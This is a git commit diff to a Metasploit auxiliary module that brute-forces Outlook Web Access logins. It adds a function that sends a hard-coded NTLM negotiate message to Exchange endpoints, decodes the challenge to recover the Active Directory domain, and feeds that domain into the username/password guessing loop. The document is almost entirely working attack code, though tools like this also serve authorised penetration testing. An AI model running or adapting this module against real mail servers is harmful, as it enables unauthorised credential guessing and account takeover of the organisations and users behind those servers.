Land #2273, @kaospunk's enum domain feature for owa_login
commit
efcfc9eef7
|
@ -4,6 +4,7 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'rex/proto/ntlm/message'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
@ -23,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Vitor Moreira',
|
'Vitor Moreira',
|
||||||
'Spencer McIntyre',
|
'Spencer McIntyre',
|
||||||
'SecureState R&D Team',
|
'SecureState R&D Team',
|
||||||
'sinn3r'
|
'sinn3r',
|
||||||
|
'Brandon Knight'
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Actions' =>
|
'Actions' =>
|
||||||
|
@ -67,6 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
|
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
|
||||||
|
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]),
|
||||||
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
|
@ -111,18 +114,37 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
inbox_path = action.opts['InboxPath']
|
inbox_path = action.opts['InboxPath']
|
||||||
login_check = action.opts['InboxCheck']
|
login_check = action.opts['InboxCheck']
|
||||||
|
|
||||||
|
domain = nil
|
||||||
|
|
||||||
|
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
|
||||||
|
domain = datastore['AD_DOMAIN']
|
||||||
|
end
|
||||||
|
|
||||||
|
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
|
||||||
|
domain = get_ad_domain
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
each_user_pass do |user, pass|
|
each_user_pass do |user, pass|
|
||||||
vprint_status("#{msg} Trying #{user} : #{pass}")
|
vprint_status("#{msg} Trying #{user} : #{pass}")
|
||||||
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost})
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
def try_user_pass(opts)
|
||||||
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
|
user = opts["user"]
|
||||||
|
pass = opts["pass"]
|
||||||
|
auth_path = opts["auth_path"]
|
||||||
|
inbox_path = opts["inbox_path"]
|
||||||
|
login_check = opts["login_check"]
|
||||||
|
vhost = opts["vhost"]
|
||||||
|
domain = opts["domain"]
|
||||||
|
|
||||||
|
user = domain + '\\' + user if domain
|
||||||
|
|
||||||
headers = {
|
headers = {
|
||||||
'Cookie' => 'PBack=0'
|
'Cookie' => 'PBack=0'
|
||||||
}
|
}
|
||||||
|
@ -140,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'headers' => headers,
|
'headers' => headers,
|
||||||
'data' => data
|
'data' => data
|
||||||
}, 25)
|
})
|
||||||
|
|
||||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||||
|
@ -204,8 +226,50 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_ad_domain
|
||||||
|
urls = ["aspnet_client",
|
||||||
|
"Autodiscover",
|
||||||
|
"ecp",
|
||||||
|
"EWS",
|
||||||
|
"Microsoft-Server-ActiveSync",
|
||||||
|
"OAB",
|
||||||
|
"PowerShell",
|
||||||
|
"Rpc"]
|
||||||
|
|
||||||
|
domain = nil
|
||||||
|
|
||||||
|
urls.each do |url|
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'encode' => true,
|
||||||
|
'uri' => "/#{url}",
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
|
||||||
|
})
|
||||||
|
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||||
|
vprint_error("#{msg} HTTP Connection Failed")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
if not res
|
||||||
|
vprint_error("#{msg} HTTP Connection Timeout")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
|
||||||
|
hash = res['WWW-Authenticate'].split('NTLM ')[1]
|
||||||
|
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
|
||||||
|
print_good("Found target domain: " + domain)
|
||||||
|
return domain
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return domain
|
||||||
|
end
|
||||||
|
|
||||||
def msg
|
def msg
|
||||||
"#{vhost}:#{rport} OWA -"
|
"#{vhost}:#{rport} OWA -"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue